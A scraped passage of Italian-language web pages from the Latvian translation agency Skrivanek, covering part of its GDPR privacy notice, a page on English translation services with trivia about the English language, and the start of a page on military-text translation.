revocare il proprio consenso preventivo in qualsiasi momento utilizzando i canali di comunicazione indicati (vedere la sezione "Contatti" della pagina web di Skrivanek). Le modifiche richieste entreranno in vigore entro tre giorni lavorativi. La revoca del consenso non pregiudica la legalità del trattamento basato sul consenso precedente alla revoca. 6. 2. La conclusione e l’esecuzione di un Accordo - affinché Skrivanek possa stipulare ed eseguire un Accordo con il Cliente fornendo servizi di qualità e assistenza, l’azienda deve raccogliere ed elaborare alcuni dati personali raccolti prima della conclusione dell’Accordo con Skrivanek o durante il periodo in cui l’Accordo è già in vigore. 6. 3. Gli interessi legittimi di Skrivanek - gli interessi di Skrivanek si basano sulla fornitura di servizi di qualità e di una puntuale assistenza al Cliente. Skrivanek ha il diritto di trattare i dati personali del cliente nella misura in cui ciò è oggettivamente necessario e sufficiente ai fini degli scopi di cui ai paragrafi da 7. 1 a 7. 3 della presente Informativa. Gli interessi legittimi di Skrivanek comprendono il trattamento di dati personali mediante marketing diretto, grazie al quale Skrivanek può offrire al Cliente dei servizi nuovi e/o personalizzati. (si vedano anche i paragrafi 8. 2 e 8. 3 della presente Informativa). Essendo Skrivanek parte del Gruppo SKRIVANEK Holding SE (si veda anche il paragrafo 12. 4 della presente Informativa), essa ha un interesse legittimo nel processare i dati personali dei propri Clienti condividendoli con le altre aziende parte del gruppo per fini amministrativi interni, così che Il Gruppo SKRIVANEK Holding SE possa offrire al Cliente dei servizi adeguati alle esigenze moderne. 6. 4. Obblighi legali - Skrivanek ha il diritto di processare i dati personali, così da poter rispettare i requisiti imposti dalle normative e rispondere alle richieste legittime dello stato e dei governi locali. 6. 5. Protezione degli interessi vitali - Skrivanek ha il diritto di trattare i dati personali, così da poter proteggere gli interessi vitali del Cliente o della persona fisica, ad esempio nel caso in cui dati video registrati siano necessari per la prevenzione ed identificazione di reati. 7. 1. Skrivanek si occupa del trattamento dei dati personali del Cliente al fine di garantire che vengano forniti servizi di qualità nel periodo in cui l’Accordo con Skrivanek è in vigore, quindi per: 7. 1. 1. elaborare i reclami dei clienti e fornire assistenza (anche tecnica) per i servizi forniti; 7. 1. 2. gestire un flusso di cassa efficace, anche per l'amministrazione dei pagamenti e dei debiti del Cliente; 7. 1. 3. informare i Clienti sui servizi forniti da altre società parte del Gruppo SKRIVANEK Holding SE; 7. 1. 4. la videosorveglianza a fini di sicurezza. 7. 2. Skrivanek tratta i dati personali con il fine di promuovere lo sviluppo del settore ed offrire nuovi servizi ai clienti, compresi: 7. 2. 1. la creazione di nuovi servizi ed offerte che riguardano gli stessi; 7. 2. 2. un'elaborazione statistica dei dati dei clienti di Skrivanek finalizzata ad analizzare il mercato e lo sviluppo del modello imprenditoriale 7. 3. Skrivanek tratta i dati personali con il fine di costruire e preservare i processi interni all’azienda, per garantire la circolazione di documenti ed altri procedimenti interni (ad esempio l’archiviazione di Accordi e di altri documenti) nella misura e quantità necessaria. 7. 4. Skrivanek ha il diritto di trattare i dati per i fini sotto indicati, e non solo, su permesso dato inequivocabilmente e liberamente dal Cliente per: 7. 4. 1. verificare la presenza o meno dei dati personali del Cliente nel registro dei cattivi pagatori, così da poter valutare la capacità del Cliente di rispettare gli obblighi contrattuali. Nel periodo in cui l’Accordo è in vigore, tale verifica è necessaria per offrire al Cliente servizi nuovi e più moderni; 7. 4. 2. promuovere l’immagine di Skrivanek a fini di marketing, mandando al Cliente auguri, attribuendo bonus e organizzando sondaggi con il fine di migliorare i servizi già esistenti e per crearne nuovi. 8. 1. Profilazione dei dati personali del Cliente come trattamento di dati: 8. 1. 1. per profilazione si intende un qualsiasi trattamento automatizzato di dati personali, ossia un uso dei dati personali finalizzato alla valutazione degli aspetti caratteristici di una persona fisica. In particolare, si intende l’analisi o la previsione di quegli aspetti legati ai gusti personali, agli interessi, all’affidabilità, al comportamento, alla località o agli spostamenti dell’individuo. 8. 1. 2. trattando i dati del cliente, Skrivanek è in grado di eseguire una profilazione con il fine di creare e presentare offerte personalizzate. Ciò che viene deciso in modo automatico e individuale ha solo fini commerciali e non avrà conseguenze legali sul Cliente. Informando Skrivanek, il Cliente ha il diritto di opporsi in ogni momento all’adozione di una decisione presa in modo automatico e di non esserne soggetto (si vedano anche le disposizioni del paragrafo 8. 3 della presente Informativa). 8. 2. Marketing diretto e Base per l'invio di lettere commerciali ai clienti: Skrivanek svolge attività di marketing diretto mediante la distribuzione di comunicazioni commerciali ai Clienti, così che essi siano sempre al corrente di servizi personalizzati e/o nuovi, così come anche di termini contrattuali speciali (come ad esempio sconti), in conformità con le basi del trattamento dei dati personali descritte nel paragrafo 6. 3 della presente Informativa. Informando Skrivanek, i Clienti hanno il diritto di rifiutare di ricevere comunicazioni commerciali in qualsiasi momento e senza costi aggiuntivi (si vedano anche le disposizioni del paragrafo 8. 3 della presente Informativa). 8. 3. I clienti hanno il diritto di opporsi alla profilazione dei propri dati personali (si veda il paragrafo 8. 1) o di rifiutare di ricevere comunicazioni commerciali (si veda il paragrafo 8. 2) in qualsiasi momento, informando Skrivanek verbalmente (durante una conversazione telefonica, previa identificazione del cliente, chiamando il numero (+371) 67 240 364) o per iscritto (compilando il modulo presso la sede di Skrivanek, inviando una richiesta elettronica all'indirizzo birojs@skrivanek. lv o recandosi presso la sede di Skrivanek. Le modifiche richieste entreranno in vigore entro tre giorni lavorativi. Tali modifiche non influiranno sulla liceità del trattamento dei dati personali che è avvenuto precedentemente all’opposizione del cliente e/o al rifiuto specificati nella presente clausola. 9. 1. I cookie sono piccoli file di dati che sono importanti per permettere alcune funzioni del sito web (come ad esempio il login). Essi consentono ai siti web di salvare una serie di impostazioni, come possono essere la lingua, i caratteri e altre opzioni che l'utente ha scelto di visualizzare sulle pagine web. I cookie sono memorizzati sul vostro computer. La maggior parte delle pagine web e dei fornitori di servizi funziona proprio così. 9. 2. L’uso dei cookie permette di elaborare il comportamento abituale degli utenti e la cronologia di utilizzo del sito web, di individuare i problemi e gli svantaggi dello stesso, ma anche di raccogliere le statistiche relative al comportamento degli utenti e di provvedere al facile nonché completo uso delle funzionalità del sito web. 9. 3. È possibile eliminare i cookie già presenti nel computer. La maggior parte dei browser permette di bloccare il salvataggio dei cookie nel proprio computer ma, in questo caso, non sarà possibile utilizzare tutti i nostri servizi online. Ulteriori informazioni sulle impostazioni dei cookie nel browser sono disponibili sul sito web dello sviluppatore del browser. I siti gestiti da Skrivanek utilizzano cookie funzionali, analitici, promozionali e obbligatori. Per sapere di più sui cookie, visitate la pagina web di Skrivanek www. skrivanek. lv nella sezione "Dichiarazione sull'uso dei cookie". 10. 1. Skrivanek acquisisce i Dati personali dei clienti quando i clienti: 10. 1. 1. fanno uso dei servizi forniti da Skrivanek (presso la sede di Skrivanek o a distanza, previa identificazione del Cliente); 10. 1. 2. consentono a ricevere notizie, annunci o altri servizi di Skrivanek; 10. 1. 3. richiedono a Skrivanek ulteriori informazioni circa un determinato servizio offerto o a riguardo i reclami o richieste di informazioni, identificandosi come clienti; 10. 1. 4. partecipano a concorsi, lotterie o sondaggi; 10. 1. 5. visitano o navigano nei siti web di Skrivanek; 10. 1. 6. vengono filmati con la videosorveglianza di Skrivanek. 10. 2. Nel caso in cui il Cliente dia il proprio consenso, Skrivanek potrebbe trattare i dati personali del Cliente ricevuti da parti terze (ad esempio dal registro dei cattivi pagatori). 10. 3. Skrivanek può trattare i dati personali del Cliente forniti da aziende terze, dagli altri membri del gruppo SKRIVANEK Holding SE e da altre società affiliate (si veda il paragrafo 12 della presente Informativa). 11. 1. Skrivanek tratterà i dati del Cliente finché almeno una delle seguenti condizioni è valida: 11. 1. 1. l’Accordo tra il Cliente e Skrivanek è in vigore; 11. 1. 2. il periodo di conservazione dei dati personali è specificato o deriva dalle leggi della Repubblica di Lettonia e dell’Unione Europea; 11. 1. 3. fino a che la loro conservazione è necessaria per la realizzazione e protezione degli interessi legittimi di Skrivanek; 11. 1. 4. fino a che il Cliente revoca il proprio consenso al trattamento dei dati personali. A meno che non ci siano obblighi legali a conservare i dati personali del Cliente (per scopi amministrativi, allo scopo di procedimenti giudiziari e non solo), essi vengono eliminati entro tre mesi dalla cessazione del motivo originario di conservazione. 12. 1. Per fornire Servizi ai Clienti, Skrivanek potrebbe condividere i dati personali con: 12. 1. 1. le società parte del Gruppo SKRIVANEK Holding SE; 12. 1. 2. partner o istituzioni coinvolte nella fornitura dei servizi che il cliente ha ordinato o di cui ha usufruito; 12. 1. 3. società di recupero crediti, aziende di informazioni creditizie, titolari di database proprietari o altre organizzazioni di recupero crediti; 12. 1. 4. assegnatari - per garantire un’efficiente gestione del flusso cassa, Skrivanek si riserva il diritto di cedere un credito al debitore o ai debitori. 12. 2. Skrivanek ha l’obbligo di fornire informazioni personali alle seguenti autorità e servizi: 12. 2. 1. alle forze dell’ordine, al tribunale o ad altre istituzioni governative statali e locali, se tale obbligo risulta evidente dalle disposizioni normative o dalla richiesta di informazioni da parte dell’istituto competente 12. 3. Skrivanek fornirà i dati personali del Cliente solamente nella misura necessaria e sufficiente in base ai requisiti delle normative e alle circostanze oggettive della particolare situazione. 12. 4. Se necessario per fornire ai Clienti servizi migliori e di maggiore qualità, Skrivanek si riserva il diritto di trasferire i dati personali del Cliente alle altre aziende parte del Gruppo SKRIVANEK Holding SE o ad altri fornitori di servizi. Per maggiori informazioni sulle aziende parte del Gruppo SKRIVANEK Holding SE, sulle società di recupero crediti, sulle aziende di informazioni creditizie, sui titolari dei registri dei cattivi pagatori, sulle organizzazioni di recupero crediti o sugli assegnatari, contattare Skrivanek utilizzando i canali di comunicazione specificati (si veda la voce “Contatti” sulla pagina web di Skrivanek). 13. 1. Skrivanek fornisce, migliora e rivede continuamente le misure di protezione dei dati personali del Cliente con il fine di proteggerli da accesso non autorizzato, perdita accidentale, divulgazione o distruzione. Questo è garantito dall’uso da parte di Skrivanek di tecnologia moderna e da requisiti tecnici e organizzativi, ossia dall’uso di Firewall, di sistemi di rilevamento di intrusioni, di analisi di sistemi software e della crittografia dei dati. 13. 2. Skrivanek analizza con attenzione tutti i fornitori di servizi che trattano i dati personali del Cliente per conto e in nome di Skrivanek, come anche valuta se i partner di cooperazione (i titolari del trattamento) stanno prendendo misure di sicurezza adeguate così da trattare i dati personali del Cliente in conformità con la delega conferita da Skrivanek e con i requisiti di cui alle normative vigenti. I partner di cooperazione non sono autorizzati a trattare i dati personali del Cliente per i propri scopi. 13. 3. Nel caso in cui l’accesso non autorizzato e/o la perdita dei dati personali avvenga indipendentemente da Skrivanek, come ad esempio per colpa del Cliente e/o a causa del suo comportamento negligente, Skrivanek non si assume alcuna responsabilità. 13. 4. Skrivanek notificherà il Cliente nel caso in cui i dati personali di quest’ultimo vengano minacciati. 14. 1. I Clienti hanno il diritto di contattare Skrivanek per una copia dei dati personali posseduti dall’azienda. 14. 2. I Clienti hanno il diritto di correggere tutti i propri dati personali posseduti da Skrivanek, facendo presente le modifiche da apportare per e-mail all’indirizzo birojs@skrivanek. lv, telefonando al numero (+371) 67 240 364 o recandosi presso la sede di Skrivanek. 14. 3. I Clienti hanno il diritto di essere informati circa le entità fisiche e legali con cui Skrivanek ha condiviso i loro dati personali per un certo periodo di tempo. Skrivanek non fornirà ai clienti informazioni riguardanti le istituzioni statali coinvolte in procedimenti penali, sui soggetti delle attività operative o su altre istituzioni per le quali la legge proibisce la divulgazione di tali informazioni. 14. 4. I Clienti hanno il diritto di richiedere l’eliminazione o la limitazione del trattamento dei dati personali per i quali, secondo lo scopo per il quale essi sono stati raccolti e trattati, il trattamento non è più necessario (diritto all’oblio). 14. 5. I Clienti hanno il diritto di contattare Skrivanek o l’istituto che si occupa della supervisione delle modalità di trattamento dei dati personali (Ispettorato statale per la protezione dei dati, www. dvi. gov. lv) per problemi relativi al trattamento dei dati personali. 14. 6. I Clienti hanno il diritto di contattare lo Specialista di Skrivanek che si occupa della protezione dei dati per ricevere informazioni circa il trattamento e la protezione dei dati personali del Cliente. 14. 7. I Clienti hanno il diritto all’accesso ai propri dati personali entro un mese dalla presentazione della relativa richiesta. Il Cliente può presentare una richiesta scritta di esercizio dei propri diritti presso la sede legale del Titolare del trattamento dei dati (presentando un documento personale di riconoscimento) o per e-mail, firmando la richiesta con firma elettronica. Al ricevimento di tale richiesta, il Titolare del trattamento dei dati verifica l’identità del soggetto, valuta la richiesta e la esegue in conformità con le leggi e regolamenti applicabili. 15. 1 Per fornire un servizio clienti di alta qualità, organizziamo anche servizi di interpretazione e di formazione nelle piattaforme cloud di comunicazione audio e video Zoom o Microsoft Teams. 15. 2. L'attuale informativa sulla privacy di Zoom è disponibile al seguente link - https://zoom. us/privacy, mentre l'informativa sulla privacy di Microsoft Teams è disponibile a questo link - https://www. microsoft. com/en-us/microsoft-365/blog/2020 / 04/06 / microsofts-commitment-privacy-security-microsoft-teams/. Gli sviluppatori di queste piattaforme, nelle loro Informative sulla privacy, dichiarano di osservare i principi base di trattamento di dati personali stabiliti dalla Legge ed altre normative, garantendo quindi pieno rispetto della Legge. Dichiarazione sull’utilizzo dei cookie LO SPECIALISTA DELLA PROTEZIONE DEI DATI DI SKRIVANEK Uldis Krūmiņš dpo@skrivanek. lv --- > Traduzioni generali e specialistiche in lingua inglese. Traduzioni certificate da un notaio. Servizi di interpretazione e altri servizi in lingua inglese. - Published: 2023-12-19 - Modified: 2024-08-22 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-anglu-valoda/ - Translation Priorities: Optional TRADUZIONI DA E VERSO L’INGLESE QUANTO COSTANO LE TRADUZIONI DA E VERSO L’INGLESE? Il costo delle traduzioni da e verso l’inglese è calcolato singolarmente per ogni ordine e dipende dalle sue caratteristiche specifiche. Ad esempio, il prezzo dei servizi di interpretazione simultanea e consecutiva si basa sulla durata del servizio, sul luogo dell’evento, sulle spese di viaggio e sulla diaria. Per i servizi di interpretazione simultanea, ci sono delle spese aggiuntive dovute al supporto tecnico, le quali dipendono dal numero di partecipanti all’evento, ecc. Per quanto riguarda le traduzioni scritte invece, il prezzo tiene conto del volume e della leggibilità del materiale da tradurre, del termine di consegna del lavoro, della complessità della terminologia, delle ripetizioni all’interno del testo, della formattazione e della complessità delle immagini e della grafica, della revisione, ma anche di altri servizi richiesti dal cliente. È DISPONIBILE IL LISTINO PREZZI? Certamente. Il listino prezzi dei servizi di traduzione scritta e di interpretazione (sia simultanea che consecutiva), di localizzazione e di adattamento da e verso l'inglese è parte integrante dei contratti che stipuliamo con i nostri clienti. Prima dell’inizio di ogni progetto di traduzione, i project manager di Skrivanek Baltic preparano le informazioni riguardanti il costo del lavoro in modo dettagliato. Il preventivo è pronto in circa 30 minuti. Per le traduzioni scritte, il prezzo varia a seconda del numero delle parole nel testo di partenza, della complessità degli elementi grafici, del numero di ripetizioni, ma anche a seconda di altri parametri. Volete sapere quanto costa tradurre i vostri documenti? Mandateci un’e-mail con il materiale da tradurre! Avete bisogno di un servizio di traduzione da/verso l’inglese? O di una combinazione tra un servizio di traduzione e uno commerciale correlato? Contattate Skrivanek Baltic oggi stesso per ricevere un preventivo gratuito! Forniamo i seguenti servizi in lingua inglese: Traduzione di documenti in inglese Interpretazione simultanea in inglese Validazione linguistica di traduzioni in inglese Interpretazione consecutiva in inglese Trascrizione in inglese Grafica e composizione tipografica in inglese Servizi di voice over e di sottotitolaggio in inglese Servizi di selezione di staff inglese Marketing multiculturale in inglese Gestione di documenti in inglese Servizi di deposizione in inglese Servizi di data room virtuali in inglese Supporto per l'e-learning in inglese Cercate un servizio linguistico in inglese? Prepareremo il servizio giusto per voi e vi consulteremo sull’argomento di vostro interesse. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Cliente *PrivatoAzienda Nome e cognome *Telefono Aggiungere Rimuovere Nome e cognome *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere MessaggioAggiungete un documento fino a 20 MB; se le dimensioni del documento sono maggiori, specificatelo nel messaggio e vi contatteremo. Click or drag files to this area to upload. You can upload up to 10 files. Come ci hai conosciuto? Come ci hai conosciuto? Sono già cliente di SkrivanekTramite ricerca GoogleAmici/conoscentiFacebookTwitterLinkedInInstagramPubblicità esterna (cartelloni pubblicitari, ecc. )FieraQuotidiani, giornali, riviste, ecc. Altrove *Acconsento al trattamento dei miei dati personali ai fini della presente richiesta in conformità con l'Informativa sulla privacy. di Skrivanek Baltic. Invia Qualità e riservatezza garantite dai certificati ISO I nostri project manager parlano lettone, russo, inglese, tedesco e polaccoIl 99% dei clienti riceve un'offerta di prezzo in meno di 15 minutiPiù di 3000 linguisti professionisti e madrelinguaOltre il 98% dei nostri clienti ci consiglierebbe ai loro amici e partnerTraduciamo ogni anno più di 16 milioni di parole ALCUNI FATTI INTERESSANTI SULLA LINGUA INGLESE Le origini dell’inglese moderno risalgono al VII secolo d. C. quando tre tribù tedesche, ossia gli angli, i sassoni e gli juti, giunsero nelle isole britanniche. Esse si unirono e, tra il VII e l’VIII secolo, mischiandosi con le popolazioni locali, ossia i celti, i pitti e gli scozzesi, crearono le tribù anglosassoni. La lingua inglese può essere suddivisa in tre fasi temporali: Inglese antico o inglese anglosassone (VIII-XI secolo) Inglese medio( XII-XVI secolo) Inglese moderno (dal XVI secolo a oggi) L'inglese è una lingua germanica occidentale appartenente alla famiglia delle lingue indoeuropee. Nel mondo esistono diverse varianti dell'inglese che differiscono tra loro in termini di pronuncia, vocabolario e grammatica: Inglese australiano, inglese britannico, inglese canadese, ecc. Inoltre, ogni variante dell'inglese ha più dialetti. Ad esempio, i principali dialetti inglesi sono il dialetto inglese meridionale, il dialetto inglese medio e il dialetto inglese settentrionale, come anche il dialetto irlandese, il dialetto scozzese, il dialetto gallese, ecc. L'inglese è la lingua più diffusa al mondo, è innegabile. La sua storia antica, il suo ricco vocabolario, la letteratura e le università sono solo alcune delle ragioni che la rendono così speciale. Inoltre, sono molti gli aspetti che rendono questa lingua un'incarnazione interessante nonché unica della cultura e delle tradizioni inglesi, anche se alcuni di essi ci fanno sorridere e ci sembrano particolari. Ma perfino il fatto più strano legato a questa meravigliosa lingua sarà detto con un accento regale! In inglese, la frase più breve grammaticalmente corretta è “Go! ” La forma originale della parola “farfalla” era flutterby. Sono aggiunte 4000 nuove parole al dizionario inglese ogni anno. Le parole inglesi più frequenti sono "I" e "you". Essendo la parola "happy" utilizzata tre volte di più della parola "sad", l'inglese è considerato la lingua più felice del mondo. Tra le lingue più diffuse, l’inglese è l’unica lingua a non essere regolata da nessun ente statale per le lingue. Oltre l'80% delle informazioni salvate e disponibili su Internet è in inglese. La parola "lol" è stata aggiunta all'Oxford English Dictionary nel 2011. A un certo punto il libro di Lewis Carroll “Alice nel Paese delle Meraviglie” è stato vietato in Cina, poiché il governo cinese riteneva che gli animali non dovessero avere il diritto di parlare con un linguaggio umano. Di fatti, questo avrebbe sottolineato l’uguaglianza tra umani e animali. Charles Dickens era piuttosto superstizioso: credeva che dormire rivolto verso nord avrebbe giovato al suo talento. Proprio per questo era solito portare sempre con sé una bussola per assicurarsi di dormire nella direzione giusta. Inizialmente, solo attori maschi potevano recitare nelle opere di Shakespeare; in quegli anni in Inghilterra alle donne non era permesso di salire sul palco. Il Codice Leicester di Leonardo da Vinci, acquistato da Bill Gates per "soli" 30 milioni di dollari, è uno dei libri più costosi in lingua inglese. L'ALFABETO INGLESE È dal IX secolo che l'inglese utilizza l'alfabeto latino per scrivere; prima si usavano le rune anglosassoni. Esso è composto da 26 lettere e ognuna può essere sia maiuscola che minuscola. L’inglese è inoltre un raro caso di lingua che non utilizza segni diacritici La lettera più usata in inglese è la e, mentre la meno frequente è la z L'apostrofo non è un segno diacritico e non è parte dell'alfabeto. Nella lingua scritta, esso ha due importanti funzioni: si occupa di marcare le forme contratte e il genitivo sassone nei nomi sia singolari che plurali. QUANTO È DIFFICILE L'INGLESE? Data la complessità della sua grammatica, della sua ortografia e della sua pronuncia, le quali confondono anche i madrelingua, l’inglese è una lingua particolarmente difficile da imparare. Come se non bastasse, è anche ricca di idiomi e di metafore. Ad esempio, il significato letterale della frase she kicked the bucket è che qualcuno ha dato un calcio ad un secchio, ma nella quotidianità il significato è totalmente differente, ossia indica che la persona in questione è deceduta. Gli esempi simili sono migliaia e talvolta possono persino confondere anche i madrelingua, per non parlare quindi di chi studia l’inglese come lingua straniera. Sono molte anche le parole inglesi le cui origini sembrano irrazionali, a volte perfino divertenti, come ad esempio la parola pineapple che, letteralmente, è composta da due parole: “pino” e “mela”. In che modo sarebbero relazionati con l’oggetto in sé? Per di più, dato che non corrisponde all’ortografia, anche la pronuncia è complicata. Di fatti, le consonanti o le combinazioni di vocali possono essere pronunciate diversamente a seconda della loro posizione nella parola. Inoltre, in inglese ci sono molti omonimi. Questo non mette in difficoltà i madrelingua, i quali solitamente capiscono il significato che l’oratore voleva esprimere, ma potrebbe essere causa di incomprensioni per un non nativo. Il miglioramento del proprio livello di inglese, arrivando a quello successivo, richiede dalle 120 alle 200 ore di studio. Pertanto, per raggiungere un livello avanzato è necessario studiare per 1200 ore. DOVE E QUANTE PERSONE PARLANO INGLESE? L’inglese è la lingua più diffusa ed è utilizzata per la comunicazione internazionale in tutto il mondo. Secondo le stime, il numero di persone che parlano inglese ha raggiunto i due miliardi. È la lingua madre di circa 400 milioni di persone ed è la lingua ufficiale in 54 paesi del mondo e in 24 territori. Tuttavia, nonostante abbia lo status di lingua ufficiale, in alcune di queste nazioni la popolazione locale non capisce l’inglese. Ci sono anche paesi in cui l’inglese è la lingua dominante nonostante non sia la lingua ufficiale, come ad esempio in Australia. La maggior parte dei madrelingua inglesi vive negli Stati uniti, in India, in Pakistan, in Nigeria e nelle Filippine. I cinque paesi più grandi per numero di madrelingua inglesi sono Stati Uniti, Regno Unito, Canada, Australia e Nuova Zelanda. L'inglese è anche la lingua madre di molti cittadini irlandesi. Come seconda lingua invece, è spesso utilizzato in Danimarca, Germania, Paesi Bassi, Slovenia e Svezia. I NOSTRI TRADUTTORI E INTERPRETI DI INGLESE Sono più di 25 anni che il fantastico team di traduttori e interpreti di Skrivanek Baltic si occupa di traduzioni standard di documenti scritti, di documentazione delle istituzioni dell’Unione europea e delle più grandi organizzazioni non statali, di complessi testi medici e tecnici, nonché di documenti certificati da un notaio. Offriamo anche servizi di correzione di bozze, di miglioramento stilistico di testi scritti in inglese, nonché di creazione di contenuti SEO e slogan pubblicitari. Tutto ciò è eseguito da madrelingua inglesi che vivono nel Regno unito, negli Stati uniti, in Canada e in Australia. I nostri linguisti saranno lieti di fornire informazioni sulle differenze culturali, sulle pratiche commerciali, sulla storia e sulle tradizioni. I servizi di traduzione che forniamo più spesso da e verso l’inglese alle aziende nostre clienti sono la traduzione di contenuti di siti web e di e-commerce, adattamento e adeguamento di meta tag, nonché traduzione di accordi di cooperazione, di atti legali, di sentenze e di documentazione commerciale. Forniamo anche servizi di interpretazione consecutiva in ambito commerciale o in altri tipi di eventi. Traduciamo inoltre udienze giudiziarie di ogni tipo, conferenze internazionali di alto livello, eventi su Zoom e su altre piattaforme online. Per i privati, eseguiamo traduzioni di documenti di riconoscimento, certificati di matrimonio, certificati di nascita, documenti relativi all’istruzione o alla formazione, passaporti, documentazione medica, ecc. L’ INGLESE NEL COMMERCIO L’inglese ha un ruolo molto importante nel commercio e può essere uno strumento efficace per sviluppare la propria attività a livello globale. Pertanto, conoscere la lingua apre la porta alla grande opportunità di far evolvere il proprio business e di collaborare con investitori e imprenditori stranieri. Essa è la lingua di comunicazione più diffusa al mondo ed è per questo che è dominante nel mondo degli affari. La sua conoscenza aiuta ad avviare un'attività in uno qualsiasi dei 7 continenti, ed è proprio per questo motivo che è diventato l’unica lingua con un miliardo di studenti in tutto il mondo. L’inglese è la lingua madre in molte nazioni e sono in diversi ad impararlo come prima lingua straniera; non ci sono nazioni del mondo senza istituti di istruzione dove si impara l’inglese. Le organizzazioni più importanti del mondo la utilizzano come lingua ufficiale e di lavoro e innumerevoli ricerche scientifiche, tecnologiche e di altro tipo sono condotte e scritte in inglese. È inoltre il linguaggio principale per lo sviluppo e l'utilizzo dei software ed è il la lingua principalmente usata nel web. Per di più, sono numerose le aziende internazionali che hanno scelto l’inglese come principale lingua di lavoro, nonostante siano registrate in un paese non anglofono. Alcuni degli esempi più evidenti sono Nokia in Finlandia e Airbus in Francia. La conoscenza dell'inglese offre quindi a qualsiasi imprenditore l'opportunità di espandere la propria azienda al di fuori del proprio paese. È una possibilità enorme che apre le porte ad un mercato sterminato in tutto il mondo. IL REGNO UNITO E LA REPUBBLICA DI LETTONIA Il Regno Unito è stata la prima nazione del mondo a riconoscere il Consiglio nazionale provvisorio lettone come un’istituzione indipendente de facto e Zigfrīds Anna Meierovics come suo rappresentante diplomatico non ufficiale nel Regno Unito l’11 novembre del 1918 (una settimana prima della dichiarazione di indipendenza della Lettonia del 18 novembre del 1918). Le forze armate britanniche hanno anche partecipato alla guerra d'indipendenza lettone nel 1919. Nella primavera del 1919, il piroscafo Saratov, il quale aveva gettato l'ancora nel Mar Baltico vicino a Liepāja e che era diventato il luogo di rifugio temporaneo del Consiglio nazionale provvisorio lettone e del suo leader Kārlis Ulmanis, nonché il luogo in cui essi operavano, era sotto la protezione delle navi da guerra britanniche. L’aiuto fornito dai britannici creò l’idea del Regno Unito come potenza amica della Lettonia. Esso è un partner commerciale storicamente importante per la Lettonia. Per gli interessi della nazione baltica, è sempre stato importante assicurare i più ampi legami economici possibili, attirando investimenti, scambi commerciali e cooperazione in campo scientifico e tecnologico. La Lettonia e il Regno Unito hanno una cooperazione attiva nei campi dell'istruzione superiore e della scienza. La maggior parte delle università lettoni hanno firmato accordi di cooperazione con università britanniche per studenti, insegnanti e ricercatori. Nell’ambito di questo accordo sono organizzati congiuntamente conferenze e seminari, sono pubblicati articoli scientifici e letteratura relativa all’istruzione e alla metodologia. I due paesi collaborano regolarmente anche nell’ambito del cinema, della musica, della letteratura, delle arti visive, nonché in teatri, musei e biblioteche nazionali. SERVIZI CHE FORNIAMO PIÙ SPESSO DA/VERSO L’INGLESE: traduzioni generali e specialistiche; traduzioni certificate da un notaio; localizzazione; traduzione automatica neurale; servizi di desktop publishing (DTP); text adaptation and copywriting; interpreting; language training; linguistic auditing. COMBINAZIONI LINGUISTICHE: Da lettone a inglese; da inglese a lettone; da estone a inglese; da inglese a estone; da lituano a inglese; da inglese a lituano; da russo a inglese; da ceco a inglese; da inglese a ceco; da polacco a inglese; da inglese a polacco; da ucraino a inglese; da inglese a ucraino; da inglese a spagnolo; da spagnolo a inglese; da tedesco a inglese; da inglese a tedesco; da italiano a inglese; da inglese a italiano; da francese a inglese; da inglese a francese; da danese a inglese; da inglese a danese; da norvegese a inglese; da inglese a norvegese; da svedese a inglese; da inglese a svedese; da finlandese a inglese; da inglese a finlandese, ma anche altre combinazioni. SERVIZI CHE FORNIAMO PIÙ SPESSO DA/VERSO L’INGLESE: traduzioni generali e specialistiche; traduzioni certificate da un notaio; localizzazione; traduzione automatica neurale; servizi di desktop publishing (DTP); adattamento di testi e copywriting; interpretazione; formazione linguistica; verifica delle competenze linguistiche. COMBINAZIONI LINGUISTICHE: Da lettone a inglese; da inglese a lettone; da estone a inglese; da inglese a estone; da lituano a inglese; da inglese a lituano; da russo a inglese; da ceco a inglese; da inglese a ceco; da polacco a inglese; da inglese a polacco; da ucraino a inglese; da inglese a ucraino; da inglese a spagnolo; da spagnolo a inglese; da tedesco a inglese; da inglese a tedesco; da italiano a inglese; da inglese a italiano; da francese a inglese; da inglese a francese; da danese a inglese; da inglese a danese; da norvegese a inglese; da inglese a norvegese; da svedese a inglese; da inglese a svedese; da finlandese a inglese; da inglese a finlandese, ma anche altre combinazioni. --- > Abbiamo una notevole esperienza nella traduzione di testi di carattere militare per le forze armate e per il settore della difesa. - Published: 2023-12-19 - Modified: 2024-08-22 - URL: https://skrivanek.lv/tulkosanas-nozares/militaro-tekstu-tulkosana/ Negli ultimi anni, in Lettonia e in tutta Europa la richiesta di traduttori professionisti con esperienza pratica nella traduzione di testi di carattere militare ha visto una significativa crescita. A Skrivanek abbiamo anche una notevole esperienza nella traduzione di testi di carattere militare per le forze armate e per il settore della difesa. Con lo scoppio della guerra in Ucraina, la richiesta di traduzione di testi militari, ossia materiali e documenti molto eterogenei relativi alle forze armate della NATO e degli stati membri dell’UE, all’aeronautica militare, alla marina militare, alla protezione civile e alla medicina militare, è cresciuta molto. Una caratteristica della traduzione di documenti di carattere militare è che i traduttori che lavorano in questo ambito si attengono rigorosamente alla Direttiva NATO sulla terminologia (PO(2015)0193), la quale richiede da parte dei traduttori l’uso della terminologia NATO, la quale è standardizzata e coerente, per tutte le traduzioni dei documenti dell’Alleanza. I traduttori e interpreti militari si mantengono quindi informati con gli ultimi sviluppi terminologici indetti dall’Ufficio Nato per la terminologia. Quando si parla di traduzioni militari, si intende una vasta gamma di documenti di diversi argomenti e livelli di complessità e riservatezza, come: tutti i documenti della NATO, delle istituzioni dell’UE e delle altre istituzioni degli stati parte della NATO relativi alla sicurezza nazionale ed internazionale, compresi i documenti legislativi; documentazione tecnica relativa all’attrezzatura, ai macchinari e ai dispositivi militari speciali, alle armi e ai veicoli per le forze armate e per il settore della difesa; presentazioni, cataloghi e vari materiali di marketing per le aziende che forniscono servizi al settore militare; dichiarazioni ufficiali e comunicazioni di ufficiali militari e di alto livello, non per forza riguardanti ciò che accade nelle zone di conflitto, ma anche relative a disastri naturali, crisi e altre problematiche di protezione civile che colpiscono la sicurezza nazionale e che sono regolamentati da una legislazione speciale; descrizioni di operazioni militari in zone di conflitto; materiali di formazione per soldati, comandanti in capo; materiali di medicina militare; documenti con informazioni riservate o classificate, ecc. SAREMO 